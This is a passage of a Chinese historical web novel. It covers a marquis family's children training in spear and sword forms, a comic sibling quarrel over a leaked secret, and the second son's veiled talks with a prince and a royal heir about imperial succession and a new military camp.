封砚婉被三哥这奇怪的举动弄的一脸懵,还以为自己哪里不妥,“三哥,你总瞧我做甚?”
三郎嘴角扯出一抹坏笑,“你当真要我说?”此刻,他还未意识到,自己早就在张姨娘跟前说漏了嘴。
就在这时,封砚初想起打造的武器,开口道:“三郎,你之前一直练的是基础的刀剑拳脚,对惊鸿枪还未有涉猎。我托人在工部的军器局给你打造了一杆枪,明日就好,等内场文试结束便给你,以后需得练习。”
三郎听后分外高兴,“多谢二哥!”
其实他早就想拥有一把专属于自己的武器,只是他目前用的是二哥最初使的基础款,还是外头铁匠铺打的,上头都有了豁口。
封简宁本来还预备过两日托人打个好兵器,没想到次子早想到前头了,难免叮嘱几句,“你二哥费心教你习武,现在还特意托人给你打造兵器,以后可要认真练习,千万不可辜负。”
三郎此刻已经乐的没边了,他甚至得意的看了一眼封砚婉,“是,父亲,我一定好好练。”
大郎封砚开轻叹一声,“我本来还想着给三郎打一杆**呢,竟被二郎抢先了。”
封砚初听后道:“那也不妨事,大哥可以打个别的,毕竟谁也不会随身携带一杆**出门。”
大郎点头思索着,“不如打一柄剑吧,我记得你上次除夕宴使得应当是《流云剑法》,如此正好。”
“对了,二妹妹,我还给你打了一柄剑,你的力气到底不如男子,那**太过沉重,不如剑轻便。”封砚初这番话让众人十分惊讶。不仅仅三郎没想到二哥就这样说出来了,就连封砚婉也是。
“婉儿在习武?”老太太的话也是其他人想说的。
而大娘子下意识看向女儿,发现对方神色如常,半点不见惊讶,果然早就知道。
“对,二妹
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颇有天赋,就是三郎也不及她,若就此耽搁未免可惜。”封砚初说到这里叹道:“只是可惜二妹不够健壮,那甲胄又十分沉重,否则来日亦有可能成为领兵打仗的将军。”
封简宁就想的比较多,眉心紧蹙,问道:“你是想让婉儿入六扇门?”
想到六扇门的复杂情况,封砚初轻轻摇头,“再看吧,即使要进六扇门,也不会是现在。”
封砚婉听见这话有些不自信起来,语气里满是犹疑,“进六扇门?我?”她从未想过这个,之所以练武不过是喜欢罢了。
长姐封砚敏鼓励道:“旁人进得,你为何进不得?去年秋猎,你射中两只猎物,若非遇上大虫,恐怕数量会更多。所以,你不必妄自菲薄。”
此刻,就连老太太也不得不重新审视起这个孙女。以前只当她活泼好动,为人做事落落大方,没想到竟然有这份本事,看来以后对婉儿需得多些重视。
想到这里,也说道:“婉儿,你姐姐说得对,你是我武安侯府的姑娘,别人可以,你当然也可以。只是祖母有一个要求,那就是以后习武不得懈怠。”
封砚婉的心情既有激动,又有着被人重视的喜悦,一时之间心情竟有些复杂。
她用力的点点头,“是,祖母,孙女一定认真习武,还要让外头那些人好好看一看,我武安侯府的姑娘不弱于人!”
此刻,在封砚初眼中,二妹妹是自信的,浑身散发着独属于她自己的光彩。以前看起来,不过是一个性情开朗的姑娘,但从今以后大不一样了。
这件事并未刻意隐瞒,没多久,就连关禁闭的四郎封砚安也知道了。经过这么长时间,他从最开始的咒骂,变成了抱怨诉苦,直到麻木。可现在,他才明白,只要肯努力上进,无论你是男是女,是嫡是庶,二哥都会帮扶的。
封砚安的这番悔悟和想法,封砚初并不知道,也不想知道,即使之后得知了,也不会有所动容。
第二百一十二章 他怎么好意思冤枉我
吃完饭,在回去的路上,封砚婉依旧美滋滋的。直到看见三郎注视着的目光,终于忍不住了,问道:“三哥,我早就想问了,你老是看着我做什么?”
同行的封砚敏点头十分认可,“是啊,三郎,方才在饭桌上你就不对劲,要不是有祖母他们,我早就想问你了。”
三郎觉得自己很委屈,声音里带着控诉,“二妹,是不是你朝父亲告状了,说我练武不如二哥努力来着!”
“你胡说什么呢?我什么时候告过状?”封砚婉这才揭开对方总看她的真相,觉得自己被冤枉了。
长姐封砚敏十分无语,吐槽道:“这还用二妹妹告状吗?就你往日那副样子,见了父亲躲得那般快,父亲能不起疑心吗?”
三郎疑惑道:“当真不是你?”
气的封砚婉上前捶了对方几下,“我都说了,不是我!不是我!再说,咱们兄弟姊妹几个早就有言在先,无论谁闯了祸,生气时都不许告诉长辈,这是约定,我自然也会遵守!”
三郎恢复成往日那副嬉皮笑脸的模样,“嘿嘿,二妹妹,实在抱歉,我冤枉你了。”
“哼!”封砚婉不想理对方,哼了一声,扭过脸不去看,拉着长姐封砚敏离开了。
谁知才回去,就见方姨娘在自己的住处等着她,便关心道:“时间也不早了,姨娘不去歇着,怎的过来了?”
方姨娘拉着女儿的手,长叹道:“婉儿啊,我知道你自幼喜欢舞刀弄枪的,现在跟着二郎学武,难道你说了我还能不让?要不是张姨娘告诉我,你还要瞒到几时?”
封砚婉抓住一个关键点,“张姨娘?她怎么会知道的?”
方姨娘脸上带着笑,爱怜的看着女儿那圆润的脸蛋,帮忙将她滑落的发丝往耳边挽了挽,“哦,是三郎告诉的张姨娘。婉儿啊,你以后有什么事就跟我说,你既然不爱绣花,姨娘再也不勉强你了……”她并未瞒着直接说了,何况在她心里这也不是什么要紧事。
封砚婉脸上笑得很开心,心里已经将三哥骂了不知多少遍,眼见时间差不多,便说道:“时间不早了,姨娘先回去歇着吧,女儿洗漱一番也要睡了。”
她一直等到方姨娘离开,这才变了脸色,朝一旁的珊瑚道:“珊瑚,我要打死三哥!”
珊瑚小心翼翼地说道:“许是三郎君不小心说漏了呢?瞧方才姨娘也没有要计较的意思,还允了姑娘以后不用学刺绣了。”
封砚婉听后先是点头,“这确实是一件喜事。”
说完这句立即变了脸,“虽然现在大家共所周知,可也掩盖不了三哥泄密的事实,他怎么好意思冤枉我告状的?等着瞧!”
次日,三郎起来刚打开门,就看见二妹妹站在外头。
此刻,他并未意识到危机,甚至还笑着问道:“二妹妹,你怎么这么早就来了,我这几日要读书,暂时不练武,你回去自己练吧!”
封砚婉冷笑一声,“三哥,昨日你冤枉我,说我向父亲告状,可是你呢?你早就将我习武的事讲给张姨娘了,你怎么好意思呢?”
三郎这才想起来,他曾经抱怨之时,好像真的一不小心说漏了嘴,只是当时没注意。看着二妹即将迎上来的拳头,‘嗖’的一下窜出去,嘴里还喊着,“二妹妹,对不起,我不是有意的!”
封砚婉没想到对方跑的那样快,追在后头,“你站住,别跑,让我打两下解解气!”
而张姨娘按照之前的习惯,准备督促儿子读书,看见院中一幕,问道:“这是怎么了?”
丫鬟瑞雪叹道:“昨日郎君冤枉二姑娘
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朝侯爷告状,可没想到自己个儿早就给您说漏了嘴。这不,被二姑娘发现了,今日一早就来找郎君算账呢。”
张姨娘并未放在心上,“这样啊,那我一会儿再来看他。”她临走时甚至还不忘叮嘱瑞雪,“对了,等他们打完之后,一会儿记得提醒三郎读书。”
“是,姨娘。”
张姨娘出去时,不仅将院门轻轻关上,嘴里还念叨着,“看吧,谁让你的嘴巴像个漏勺,正好吃一次教训。”
谁知恰巧碰见方姨娘,她嘴里还念叨着,“奇怪,这孩子一大早上哪去了?”
看见张姨娘之后,还客气了两句,“你这是来瞧三郎了?可看见婉儿了吗?方才我去找她,这孩子一大早就不见人影。”
随即皱眉疑惑道:“这院子里什么动静,我怎么听着有婉儿声音。”
张姨娘指了指院里,笑道:“哦,你也知道,他们兄妹两个在‘枕松闲居’每日都要练武,今日自然也一样,咱俩也别扰了孩子。”说话间,拉着方姨娘离开了。
封砚婉最终还是追上了三哥,将对方打了几下解了气,“三哥,不是我说你,武试结束后,朝廷必定要给你封官职,若是以后说话还这么不留意,小心惹祸,这次就当吃个教训,不用谢我。”
三郎摸着被捶了好几下的背,直到二妹所言非虚,点头应道:“知道了,我以后会注意的。”
与此同时,肃王府。
沈在云将才写完的一封信交给亲随,“将这封信发出去。”
“是。”亲随接过信出门离去。
别人都以为沈在云回京,是因为身体已好,肃王妃催促,是被逼的;只有他自己心里清楚并非如此,其实他的身体早就好了,只是一直对外称还在调理,回京不过是顺势而为。
第二百一十三章 士别三日,当刮目相看
下午的时候,封砚初还在兵部忙着,但他的礼物已经到了二妹手里。
‘叮’的一声,长剑被拔出,寒光映在封砚婉的脸上。这一刻,她的眼睛冒光,看向一旁的长姐和三妹,声音里满是兴奋,“姐姐,三妹,我有属于自己的剑了!”
说罢,就在空地上挥舞起来,是那样的潇洒肆意,所有经过之人,无论是侯府的主子还是下人,都会忍不住为之驻足。
‘啪啪啪’,掌声响起。
“二妹,你练的真好!”长姐封砚敏看着眼前这个英姿飒爽的身影,内心忍不住羡慕。可能因身为嫡女,且居长,使她有太多的顾虑,永远也无法这样。
三妹封砚潼不懂这些,她只觉得二姐姐剑挥的好看,笑吟吟道:“二姐,你刚才的样子就像是话本里的女侠一样!”
封砚婉收了剑,双手爱惜的摸着剑鞘,嘴上说着,“我才学,还很寻常。你们是没见过二哥舞剑,身形飘逸,剑法精绝,那才叫厉害呢。”
一旁的珊瑚也很羡慕。心里默默数着攒了许久的月钱,她的剑用不着那么好,寻常铁匠铺打的就可以,再攒上两个月,估计也就够了,到时候她也可以买一柄。
心里还想着,姑娘以后去了六扇门,她还得跟在身边伺候呢,没剑怎么行。
转眼,三郎封砚池武试内场的文试结束了,自然是顺利通过,只需等着朝廷分配。
因为要练武,便与二妹照常住在‘枕松闲居’。
这日,封砚初难得空闲,在院子里教导两人习武。没有武试的压迫,他的态度也变得温和起来,让三郎一时之间竟有些不适应,这就很难评。
当他拿出那杆枪,拼接好后,对三郎说道:“咱家的惊鸿枪属于攻防兼备的枪法,看好了!”
“这是劈枪!”他双手持枪,将力量集中在枪杆前段,由上而下用力劈砍。像是用斧头砍柴一样,借助枪杆的长度和自身的力量造成威胁。
“这是扫枪!”封砚初随即招式一换,以腰为轴,将枪横向挥动,枪头水平扫过,形成一个防御圈。
“这是穿枪!”他每说一句,就展示一种,紧接着一一展示了拦枪,拿枪,点枪等等的动作。
展示完成之后,再次看向三郎,“拿起你的枪,与我比试一下!”
三郎准备鼓掌的手停在半空,听见二哥的话,竟有些蒙圈,指着自己道:“我?和你比?二哥,你那么厉害,我怎么可能比得过……”
话还没说完就被封砚初踹了一脚,命令道:“还要我说第二遍吗?”
三郎封砚池被迫拿起长枪对决,与其说比试,不如说是在对练。就在他对招式渐渐熟悉,信心暴增之时,封砚初突然佯装后退瞬间来了个回马枪。
“二哥!”三郎顿时惊了一身冷汗,要不是二哥及时收枪,他肯定会被刺个对穿。
封砚初一边拆卸着枪,一边说道:“这招叫做回马枪,没有特别的招式,只需在对敌的过程中抓住机会,即可施为。”
“是,二哥。我知道了!”原本还在羡慕二哥的枪,可以拆卸的三郎,听见这话立即点头应道。
就在此刻突然响起一阵,‘啪啪啪!’的掌声。
封砚初回头看去,这才发现,院门口的位置竟然站着一个人,他竟然回京了?
那人自顾自道:“我敲门进来,没想到你正在教导弟弟习武,不便出声打扰,这才看了一会儿,没想到你的枪法比之前更加进益了。”
封砚初眼神扫向双寿,只见对方搓着手,一副不知所措的样子,心里不禁叹着,比起郑伟他们终究还是差了一点。
因着今日休沐,又恰逢李妈妈生辰,所幸这里也没什么事,便给郑伟放了假;暮山则被他派出去送信;就连冯四也回去陪家人了。
他顺手将枪放在一旁的桌子上,上前几步行礼道:“微臣拜见六殿下。”他身后的三郎与二妹见此赶紧跟着行礼。
“是我来的不是时候。”比起去年,六皇子的脸黑了些,整个人看起来也瘦了,多了些从容不迫。
“此处不便,六殿下随我来。”封砚初将人引出小院,随后回头对着两人道:“你们俩继续练。”
到了待客的正堂,雪香立即上了茶水点心。
封砚初端起茶盏浅饮一口,然后客套着,“不知六殿下回京,未能提前拜见,还请恕罪。”
六皇子哈哈笑着,就连端起茶杯的手都在颤抖,“不过才大半年没见,你竟客套起来,好似你知道我回来,就会上门一般,看来官场还真是历练人呐。”
封砚初看向六皇子道:“士别三日,当刮目相看,更何况已将近九个月未见。”
六皇子听对方这么说,又想起这大半年的所见所闻。当亲身见过大晟底层百姓的生活之后,才觉得自己以前是多么的肤浅、幼稚、可笑。
不禁叹气,“还真是,这次出行,我也算是开了眼界,长了见识。”
封砚初听了这话挑眉道:“看来六殿下此行收获颇丰。”
六皇子点头道:“直到出了京城后,我才发现以前自己太幼稚了。地方上官匪勾结,压榨百姓,苛捐杂税,贪污受贿;百姓食不果腹,苦不堪言的比比皆是!亏我还以为大晟国泰民安,百姓即使不富足,但起码也是衣食无忧。”
封砚初放下茶盏,就这么静静的看着六皇子,认真道:“虽不知殿下的真心为何?但现在我看见的殿下,比以前沉稳了许多。以前像是天空上飘着的风筝,看似美好,实则空有其表,经不得一点风吹雨打。而如今,殿下就像是埋在土里的种子,等待着破土而出。”
六皇子听了这话,脸上神情严肃,“我更愿意自己将来能够成为一棵参天大树,可以历经风雨,可以庇护万千百姓。”
封砚初先是行了一礼,然后端起茶杯道:“臣为此言,以茶代酒敬殿下。”
六皇子亦端起茶杯,他脸上的笑容真诚了许多。
第二百一十四章 偏偏上赶着来
因为六皇子清楚,封砚初是一个很骄傲的人,有自己的傲骨。即使你是上位者,如果没能达到他心中的期许,那他只会面上客气有礼,心里不动分毫。
“其实我更应该谢你,若非你当初那番话,我也不会去外头瞧一瞧真实的大晟是何模样,更不会有今日的我。”
封砚初缓缓放下茶盏,“殿下不必谢臣,是臣应当代天下百姓谢您,起码,您愿意睁眼看一看那些艰难之人。”
六皇子眼眸变得深邃,手指轻轻摩挲着拇指上的白玉扳指,“大晟如今内忧外患,父皇何尝不知?如今我去了一趟外头,也知道了,可有些人却视而不见。二郎,如今我有些了解你当日的心情了,明白那种深深的无力感。”
此时,外头的阳光洒进屋子,照在人身上竟有些燥热。封砚初起身走到窗边,抬头望去,只见屋檐下的燕雀叽叽喳喳,看起来是那样的美好。
他掰下几块点心的碎渣,捏在指尖抬手往上送了送,那燕雀立即飞来,在空中不停地振动着翅膀,并啄着食物。
“殿下,自从这燕雀今春在此筑巢,臣的乳母便担心扰了臣休息,而且这燕雀难免会产生一些污秽之物,便想将它赶走。可臣却觉得不过小事而已,无非是多注意一些罢了,反正秋季就要飞走。但臣很清楚,乳母并无私心,她是一心为了臣,为了‘枕松闲居’。”
六皇子闻言,意味深长道:“你说得对,是我想岔了。如今天暖着当然活的惬意,可当寒冬即将来临时,为了生存,即使再不想离开,也由不得他。”说罢,他也弄了些点心渣子盛在手心,学着封砚初的样子,没想到这小小的鸟雀竟不搭理他。
见此,困惑不已,“难道我的点心与你不同?怎的只吃你的,不吃我的?”
“自然是因为臣时常喂它,熟悉了而已。”封砚初展开手,鸟雀在他的掌心跳跃着,叽叽喳喳地啄着食物,他甚至可以伸手轻轻抚摸对方的羽毛。可当手里的点心尽了,那鸟雀便会毫无留恋的飞回巢穴。
喂了燕雀后,两人重新回到位子上,六皇子将他手里的点心渣子倒在了窗台上。有趣的是,等他离开窗户之后,又过了好一会儿,那燕雀竟重新飞到窗台上开始啄食。
见此一幕他不禁笑了,像是想到了什么,“他太警觉了,我如今只需做好自己的事即可。”
封砚初扯起嘴角,看向窗外,“对这燕雀来说,您只是有些陌生,而它真正的敌人是院子里的猫,是天上的鸱鸮。”(鸱鸮:Chi XiaO也被称作猫头鹰)
两人又说了一会话,六皇子这才起身告辞,临别之际道:“二郎,多谢你,今日之言醍醐灌顶。”
封砚初听后却道:“殿下说的话,臣怎么听不懂?咱们方才不是一直在讨论那屋檐下的燕雀吗?”
六皇子哈哈笑着,“你说得很对,改日我再向你请教这燕雀之道。”
话说三郎硬生生的等六皇子走了之后,这才找上自己的二哥,脸上还带着一副好奇之色,“二哥,六殿下走了。”
封砚初抬起眼皮瞅了对方一眼,“你想说什么?”
三郎凑近暗戳戳地问道:“二哥,你和六殿下的关系什么时候这么要好了?而且我方才瞧他待你十分礼遇的样子。”
封砚初这才打量起三郎,似乎要将对方看穿一般,冷哼道:“三郎,我听人说你的嘴不是很严,有时不小心就会透出些个什么?虽说是无心之过,可眼瞧着你也要步入官场,我这做哥哥的十分担心你。”
三郎被这目光看的心里发毛,磕磕绊绊的问道:“我……我上次也不是有意的,二哥,你……你别这样看着我。”他说完这话,还吞了吞口水。
封砚初见对方这副模样,轻笑着,“也没什么?只是为官最要紧的就是口风,既然我是你兄长,就有责任帮你改了这个毛病。”
三郎心里更怕了,但还是控制不住的问,“那……那怎么改?”
“双寿!进来!”
一声令下,候在门口的双寿立即进来行礼,“二郎君。”随后低着头不敢看。
封砚初看着这一对行为、动作十分相似的主仆,就连身上那一股唯唯诺诺的气质都不相上下,心中十分无语,“双寿,从今天起,你盯着三郎,他三天内不许说一句话,若是开了口,立即向我回禀。”
“是,二郎君。”双寿应的十分迅速,丝毫没有觉得这样不妥。
三郎暗中狠狠瞪了一眼双寿,明明是他的随从,怎么对二哥如此言听计从。
他到底不甘心,但也没敢让二哥就这么直接取消惩罚,而是请求着,“二哥,三天不说话会憋死人的,是不是长了点,一天……哦,不!就两天!怎么样?”说完,还满眼期待的看向对方。
可没想到封砚初本不想理会,但为了将来着想,狠心道:“你若再多说一句,那就四天,多说两句就是五天!”
此刻的三郎,心中满是懊悔。他怎么好奇心这么重,偏偏上赶着来,这下好了吧,受罚了。他再也不敢多说一句,匆匆行礼告辞,双寿见状匆忙跟在身后。
三郎半道上还碰见了二妹,对方看见他之后,还十分热情的主动打招呼。
而封砚婉见三哥连理都不理她,就这么离开了,顿时瞪大双眼,气鼓鼓道:“三哥,你什么意思!方才还好好的,现在看见我就这么爱搭不理的?”
双寿连忙拱手道歉,将方才的事情说了一遍,“所以,二姑娘,我家郎君这三天一句话都不能说。”
封砚婉听后,乐的哈哈大笑,朝双寿挥手道:“竟是如此?看他以后还多嘴不?你快跟上你家郎君,小心他偷偷讲话。”
双寿立即反应过来,拱手道:“二姑娘,那小的告退了。”说罢赶紧跟了上去。
他心里终究不放心,担心自己完不成二郎君交待的任务,便对自家郎君道:“郎君,从今以后,这三天之内,小的决定晚上和您同住。”
三郎听后,碍于不能开口,他只能震惊的瞪着双寿。
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第二百一十五章 我带了一本医书
六皇子出了‘枕松闲居’,一旁的李延看向他,语气中带着一些困惑,“殿下从‘枕松闲居’出来之后,看着平和了许多。”
“哦?是吗?”
李延点头肯定道:“当然。”
“走吧,想来用不了几日,父皇对我的任命就要下来了。”笑意从六皇子眼底漫开。
确实如此,他进门之前,满是郁郁之气,但经过封砚初那么一说,心中的一些事仿佛解开了似的。
自从李延与六皇子离京游历,一路上的所见所闻,让对方满怀心事。这些他都是见过的,只是以前殿下一直在京城,从未出去,自然从未见过。
所以他既高兴殿下改头换面的变化,又担心殿下心情郁结,这样什么都做不了。
勤政殿。
六皇子刚出‘枕松闲居’没多久,一份密录本就摆在了景和帝的桌案之上。
来人恭敬奏禀,“启禀陛下,六皇子今日一早,出了皇子府便前往广林巷,进去之时明显心情不佳,可出来之后却好了很多。”
景和帝听见这话之后,才打开密录本瞧了瞧,随即眼睛微眯,“这里怎么没有具体的谈话内容?”
来人听后立即拱手请罪,“还请陛下恕罪,封主事如今并未住在武安侯府,广林巷的宅子里都是他的亲信,探听不到。之前也曾试图偷听,但对方武功太高,一旦靠近就会被发现,所以两人具体说了什么,不得而知。”
景和帝听后并未动怒,而是挥手道:“下去吧。”
“是。”
等人奏禀之人离开后,景和帝才轻叹道:“看来老六很重视这个封砚初。如此说来,对方即使未有倒向,内心也会偏向老六!”说到这里只觉得疲惫。
如今朝中频频提出立储,他虽然暂时含糊过去了,但也不得不做出退让,想到此处便提笔写着什么。
不过十几日的时间,景和帝就下发旨意:册封五皇子为安王,九皇子为庄王,就连大皇子都得了个乐平王的郡王爵位,反观六皇子没有任何册封。
这顿时引起众人猜测,有人觉得陛下这是放弃了六皇子,也有人觉得陛下是因为想重用六皇子,这才没有被册封。总之众说纷纭,六皇子也不由得忐忑起来。
就连‘枕松闲居’也变得热闹。
因着三郎封砚池,现如今已入了禁卫军为校尉,平日里需要进宫值守巡逻,而广林巷毕竟距离皇宫远了些,再则他的惊鸿枪已经学的差不多了,之后需要的是勤加练习,便搬回了侯府。
顺带着二妹封砚婉也学会了流云剑法的基本招式,更何况她在这里不过是为了散心,暂时居住而已,现下自然也回去了。
如今,封砚初的日子难得悠闲了许多,此刻正躺在廊檐下的躺椅上闭目养神,直到郑伟来禀,“郎君,肃王世子来了,说是听旁人提起您会医术,想与来探讨一番。”
他听见这话,缓缓睁开眼睛,将遮在脸上的折扇拿开,心中原本藏起的猜测得到证实,竟有些轻松,“将人请进来。”
随即站起身,理了理衣裳,准备迎接客人。
“见过世子殿下。”
沈在云仿佛真的是来谈论医术的,甚至还带了一本医书。只见他持书抬手示意免礼,然后将书轻轻放在桌子上,道:“是我叨扰你了。”
“哪里,世子殿下请坐。”封砚初说话间,为对方倒了一盏清茶。
沈在云先是饮了一口茶,然后才说道:“说来惭愧,咱们相识也有大半年了,我去年还来过你这里,可直到近日才听人说你会医术。你也知道,我自幼体弱便在药谷养病,也跟着学了些,只是自从出了药谷便无人探讨,这才找上门。”
对方不开口,封砚初也只当其真的是来探讨医术的,“世子殿下是在药谷所学,而我不过是庄稼把式,在您面前,岂不是班门弄斧?”
沈在云笑了笑,然后将医书递了过去,“我带了一本医书,劳烦二郎也瞧上一瞧。”
封砚初接过后随意翻开一页,这不过是一本普通的医书,还是市面上可以买到的那种,当翻到了有折痕的那一页,只见上面写着:夫心胀者,烦心气短,卧不安。
他看了这一句,轻笑一声,然后将书合上,抬眼看去,“世子殿下这是要考我吗?”
沈在云脸上依旧是方才来时的模样,只是多了些意味不明,“二郎学识渊博,我怎么可能难得住你。只是还有一句话,二郎肯定也听说过,毕竟出自同一本书,‘六十岁,心气始衰,苦忧悲,血气懈惰,故好卧’。”
都已经说出这话,封砚初不得不审视起眼前之人,“看来六殿下回京,想必是世子殿下之功了?”
直到现在,沈在云的神色才出现变化。往日那看起来十分柔和的眉眼,竟变得有些凌厉,随即叹道:“唉,还是瞒不过你,除夕那场笑话,只要眼睛没瞎的,自然看得出是五皇子所为。”
封砚初却道:“没准五皇子已经不在乎了。”
沈在云听后冷笑着,“那你可知道西戎那个叫额尔多罗的,为何突然变卦?”
他并未等对方回答,反而自顾自道:“是因为皇后在背后使的力气,且承诺对方,只要让陛下彻底恼怒了五皇子,来日九皇子登基,便将晋西草原奉送。”
说到此处,他看向封砚初,“要不是你在关键时刻挽回大晟颜面,恐怕满朝文武都会谏言,让陛下惩处五皇子,到时候局势失衡,你觉得谁会得利?”
封砚初脸上没有任何表情,就连语气也变得十分平静,“世子殿下想说什么?是想说因着信国公之事,皇后娘娘早就对我武安侯府的倒戈,心生不满?还是想说我坏了皇后娘娘的计划,来日一旦九殿下登基,我封砚初便会成为众矢之的?”
沈在云摸着桌上的那本医书,眼睛却落在封砚初身上,“陛下觉得自己身体依旧康健,不仅封了九皇子和五皇子为亲王,就连大皇子都得了个郡王的爵位……”
第二百一十六章 我瞧着你这里很不错
还未等对方说完,封砚初便抬手示意打住,“无论六殿下有何想法,但他身单力孤乃是事实。远远不是其他两人的对手,五殿下经营多年;九殿下固然年幼,可身后有皇后娘娘护持,更有黎大人帮忙。所以,唯有让陛下看见六殿下的不同。”
沈在云的右手握紧又松开,反复几次,才压平心绪,“可时间不等人!”
封砚初注视着对方,语气严肃道:“世子殿下,自从先太子薨逝之后,陛下一直未立储君,当真仅是贪恋手中的权势吗?或许在陛下心里,也没有真正适合的人选,否则怎么可能拖上这么多年?要知道,当不适合的人坐上那个位置,危害远比想象中的还要严重。”
沈在云听了这话,激动不已,“你……你是说,对陛下而言,他们都不合适?包括以前的六殿下,也与那几位并无区别。可现在不同了,所以六殿下只要做好自己即可;让陛下能看见他,知道皇子中还是有能做事的人。”
“我想,无论是作为父亲,还是作为君王,都希望看到一个愿意做事,一心为民,且不计利益的儿子。”封砚初说完这话,不再看对方。
“我知道了,不争就是争,要让陛下看到一个心中只有大义的儿子。”沈在云说完,这才有心情端起茶盏品茗,而茶的清香瞬间充斥着口腔,也滋润了有些干涸的喉咙。
封砚初见对方平静下来,看似随意道:“听说陛下准备重建一个军营,只是这人选还未定下来。
沈在云也听说了,但这是一块肥肉,那两人怎么可能放弃,“我也听说了,只怕难啊!”
封砚初却道:“鹬蚌相争渔翁得利,毕竟武官易得,身份适合的人却少。”正因为五皇子与九皇子都已封王,若是再掌握兵权,一旦出现差错,陛下岂不是寝食难安?所以谁都有可能,唯独不可能是这两方之人。
随后继续道:“但将来不论谁领了此职,想来肯定会引起五殿下与九殿下的拉拢,不过只要持身以正不偏不倚,也可以立于不败之地。”
沈在云听了这话频频点头,随后拱手道:“受教了。”
封砚初嘴角扯出一抹浅笑,重新拿起那本医书,递给对方,“心衰而已,只需好好将养,且有那么多医道圣手,维持一段时间,并不难。”
沈在云‘噗嗤’一声竟然哈哈笑起来,“以后若是有人说二郎医术不济,我定要骂回去。”说罢便将医书收起来。
他觉得浑身轻松了许多,然后看了看天色,竟然快至午时,“今日这场医术探讨,我受益良多,耽搁你许久,就不继续打扰了,改日再来讨教。”
封砚初并未假惺惺的挽留,起身拱手道:“既如此,恭送世子殿下。”
让他没想到的是,沈在云离开没多久。
他才坐在桌前,正欲用饭,郑伟又来禀报,“郎君,陈郎君来了。”
他沉沉的叹了一口气,放下手中的筷子,“将人请进来,再备一副碗筷。”
等陈泽文进来,封砚初便招呼着,“午时了,正好在这里一起用些饭。”
陈泽文则摆手道:“不用,方才和人在月上客已经用过了,今日好容易休沐,我又不想回去,便来找你。”
封砚初轻轻嗅了嗅,果然空气中有一股淡淡的酒气,随即朝雪香道:“吩咐厨房熬一碗醒酒汤来。”
陈泽文看了一眼正在用饭的人,朝着门外走去,嘴里还说着,“也就饮了几杯而已,并未醉,你先用着,我在外头廊檐下等你。”
当封砚初吃完饭出去,发现陈泽文竟然躺在廊檐下的躺椅上睡着了,他并未将人叫起来,而是去了药房配药。
不知过了多久,一个声音传来,“你怎么不叫醒我?”
他头也不抬地说,“我见你睡得正香,所性做些别的事情,你略等等,就快好了。”直到将药丸与药粉装瓶,又贴上字做了标记,这才出了药房。
“你怎么想起来我这里?”封砚初问这话时,陈泽文正在东张西望的四处看。
听到声音后,这才回头说道:“我瞧着你这里很不错,虽说不大,但一个人住着也僻静,无人打扰。”
对方不是第一次来,封砚初不解地问:“你今日真奇怪,怎么好端端的,竟有这个感慨,难道你家里住的不舒坦?”
这可算是捅了马蜂窝,竟引起陈泽文的一番吐槽,“陛下刚对外透出要新组建一个武备营,我家的门槛都快被踏破了,那些人……怎么说呢,唉,算了。”
他说到这里竟然叹了一下,“反正我母亲和父亲也不想掺和进去,没想到这些人竟找上了我,又得罪不得。这不,方才便是应邀赴了他们的宴。”
“原来如此,我说你怎么有此感发。”封砚初为对方斟了一盏茶,笑着说道。
陈泽文接过茶饮了几口,顺势往后一倒,躺在躺椅上,“这也不是一次两次了,几乎每回都这样,我是被烦的不轻。”说到这里‘啧’了一声,“不行,我不能继续住在家里了,听说孙延年就在你旁边买了一处宅子,那我也要买。”
说风就是雨,立即对一旁的护卫招手道:“丁燎,你去牙房打听打听,看这广林巷还有没有空宅,若是没有,旁边的梧桐巷也可以。”
护卫丁燎见状问道:“那郎君想买多大的?”
陈泽文一时也拿不定主意,“嗯~你看着办吧!”丁燎应了声是,站在一旁不动弹。
陈泽文抬头催促着,“愣着干什么?赶紧去!”
“现在?可是你身边也没带多余的人啊。”丁燎很不放心,一时之间有些犹豫。
陈泽文无语道:“我在哪?在二郎这里!难道还能丢了不成?快去,快去!”丁燎听后只得急匆匆离开。
他还冲着封砚初摇头吐槽,“你说说他,木头脑袋一个。”
封砚初则笑着摇头道:“又不急在这一时,毕竟是你自己住,还需舒心才好。”
第二百一十七章 争得面红耳赤
丁燎动作倒是快,不到一个时辰就回来。买的是广林巷与梧桐巷交界的一处宅子,共有二十五间屋舍,定钱已经付了。约莫有个三四日就可以拿到房契。
而陈泽文则硬生生待到了黄昏之时,才不紧不慢的回去了。
次日,封砚初照常去兵部点卯,才进门就碰见了同僚王主事。
话说这王主事本名叫少止,年岁三十有五,是个圆润的胖子。说起话来笑眯眯的,看着十分和善的样子,实则为人很圆滑,谁都不得罪。所以这次兵部震动,尤其是武库司很多人都牵涉其中,偏偏他留了下来,只是依旧为主事。
因为胖又体虚,且缺乏运动,他在清晨,天未完全热起来之时,就已经拿着扇子不停地呼哧呼哧扇着,脸上带笑,“封主事~”
封砚初在卯册上签了名,点头道:“王主事。”既然碰见了,两人就这么一起往里走。
王主事看似随意地问道:“封主事,你可听说陛下要新建一个武备营的事情?”
封砚初也仿佛才知道一般,“哦?还有这事?我实在孤陋寡闻,还未听说。”语气中的疑惑与好奇恰到好处。
“你竟不知道?如今这指挥使的位置还没有定下来,不过咱们兵部会武的人不少,也不知有没有机会。”王主事感叹着。
封砚初立即想到了薛荣祥薛郎中,此人虽在兵部任职,实则早就想从事武职,奈何陛下即使松了口,也不放心薛家。
王主事说的是就是薛郎中,也根本不相信他不知道这个消息,估计想暗中探听些什么。
封砚初见状,笑道:“想来陛下会有圣裁,咱们只需听吩咐就行。”
王主事也跟着笑道:“哈哈哈,说的也是,与咱们又有什么关系呢?”只是说话期间,扇子扇得更频繁。
今日不是大朝,所以只有重要官员参加早朝,而薛郎中自然也不用去,只是他罕见的来晚了,竟误了点卯的时辰。
孙茂孙员外郎见此只是冷哼一声,说话有些阴阳怪气,“陛下想选谁做这个新建武备营的指挥使,自有决断。有些人就是再打点也无用。我知道自己够不着,就很有自知之明,不像有些人……”
薛郎中也意外的没有讥讽回去,只是冷冷的瞥了对方一眼,径直走开。
其实孙茂也很无奈,自从这薛郎中成了自己的顶头上司,他就没有一日是顺心的。
兵部里暗流涌动,众人心思各异。
对于景和帝来说,今日幸亏不是大朝,否则争辩只会更激烈。武备营还未正式组建,大家都已经抢破头了,若是大朝会只怕会打起来。
龙椅之上。
景和帝看着争得面红耳赤的诸位大臣,只觉得头疼。要不是强压着,黎文堂和曲如梅双方都能打起来。
反观首辅申大人,兵部尚书邢勉,大理寺卿唐承,京西武备营指挥使吉隆,包括六皇子等人都是闭口不言。
